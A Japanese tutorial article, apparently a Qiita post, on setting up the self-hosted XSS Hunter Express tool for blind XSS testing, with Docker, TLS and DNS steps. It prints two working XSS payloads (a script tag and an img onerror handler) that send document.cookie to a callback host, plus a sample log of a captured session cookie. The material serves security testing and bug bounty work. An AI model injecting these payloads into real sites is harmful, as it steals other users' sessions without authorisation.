1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【セキュリティ】XSS Hunter Express入門 ─ Blind XSSを可視化・検証する最強ツール

Posted at

はじめに

XSS Hunter Express は、Blind XSS(盲目型XSS) の検出と検証を行うための
自己ホスト型の軽量フレームワークです。

オリジナルの XSS Hunter をベースに
Node.js / Express で再実装されており、個人や研究者が簡単に自分専用のXSSキャプチャ環境を立ち上げられます。


Blind XSSとは?

まず、Blind XSS の概念を整理しましょう。

項目 内容
通常のXSS 攻撃者が自分で実行結果(alertなど)を確認できる
Blind XSS 攻撃者は結果を確認できず、他のユーザー(管理者など)の画面で発火する
「お問い合わせフォーム」や「サポートチケット」など、入力が社内ポータルで閲覧されるケース

つまり、攻撃者が挿入したスクリプトが他人のブラウザで実行されたかどうか確認できないため、
“コールバックを受け取る仕組み” が必要になります。
そこで役立つのが XSS Hunter Express です。


XSS Hunter Expressの特徴

機能 説明
自動記録 ペイロードが発火すると、IP・UserAgent・Referrer・Cookies(非HttpOnly)などを記録
スクリーンショット取得 DOMや画面キャプチャを自動で保存(オプション)
自己ホスト可能 VPSやクラウド上に自前で立てる。データは完全に自分の手元に残る
通知対応 Slack / Discord / Webhook に新規ヒットを通知する設定も可能
簡単なペイロード発行 GUIからユニークな追跡URLを生成し、HTML・JS・IMGイベントなどに埋め込み可

セットアップ手順(Docker版)

ここでは、最もシンプルな Docker + Docker Compose構成での導入を説明します。

1. 依存環境の準備

  • Linux系VPS(Ubuntu推奨)
  • dockerdocker-compose をインストール
  • ドメインまたはサブドメインをVPSに向けて設定(例:xss.yourdomain.com
sudo apt update
sudo apt install docker.io docker-compose git -y

2. リポジトリのクローン

git clone https://github.com/mandatoryprogrammer/xsshunter-express.git
cd xsshunter-express

3. 起動設定と実行

# PostgreSQLとアプリを順に起動
docker-compose up -d postgresdb
docker-compose up -d xsshunterexpress

初回起動時に、コンソールに管理者パスワードが表示されます。
(忘れた場合は、Postgres内のusersテーブルを確認)


4. HTTPS化(推奨)

Let's Encrypt + Nginxリバースプロキシを使ってTLSを設定します。

sudo apt install nginx certbot python3-certbot-nginx -y
sudo certbot --nginx -d xss.yourdomain.com

5. DNS設定

AレコードでサブドメインをVPSのIPに向けます。
これで、https://xss.yourdomain.com/ でアクセス可能になります。


ペイロードの作成と実行例

ログイン後、ダッシュボードから「New Payload」を生成できます。
または、自分でペイロードを作成して任意の場所に埋め込みましょう。

例1:Cookie送信

</textarea><script>
fetch('https://xss.yourdomain.com/collect?cookie=' + btoa(document.cookie));
</script>

例2:画像イベント利用(タグが閉じられない場合)

<img src="x" onerror="fetch('https://xss.yourdomain.com/err?c='+btoa(document.cookie))">

これらのスクリプトが被害者のブラウザで実行されると、
XSS Hunter Express 側で以下のようにログが記録されます:

IP: 192.168.x.x
User-Agent: Chrome/Headless
Referrer: http://target.example.com/
Cookies: sessionid=xxxxxx
Timestamp: 2025-10-08T17:00

さらに設定によっては、Slack通知やスクリーンショットも届きます。


セキュリティ上の注意点

注意点 内容
権限のある環境でのみ使用 未許可のシステムにBlind XSSを仕込むのは不正アクセスに該当します
管理画面の保護 Basic認証やFirewallで制限しましょう
HTTPS必須 Cookie送信の精度・安全性が向上します
HttpOnly Cookieは取得不可 JavaScriptからは読み取れません(セキュリティ機能です)

参考リポジトリとツール

名称 リンク
XSS Hunter Express(公式) https://github.com/mandatoryprogrammer/xsshunter-express
⚡ 簡易セットアップスクリプト https://github.com/adamjsturge/easy-xsshunter-express
Docker Hub イメージ docker pull xsshunterexpress(フォークによる)
通知連携 Slack / Discord / Webhook Integration対応ガイド

まとめ

要点 内容
Blind XSS専用のキャプチャ環境 外部コールバックでスクリプト実行を検知
Dockerで即構築 環境構築が非常に容易
完全自己管理型 データは外部に送られない
通知・可視化・再現分析が容易 バグバウンティ調査にも活用できる

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?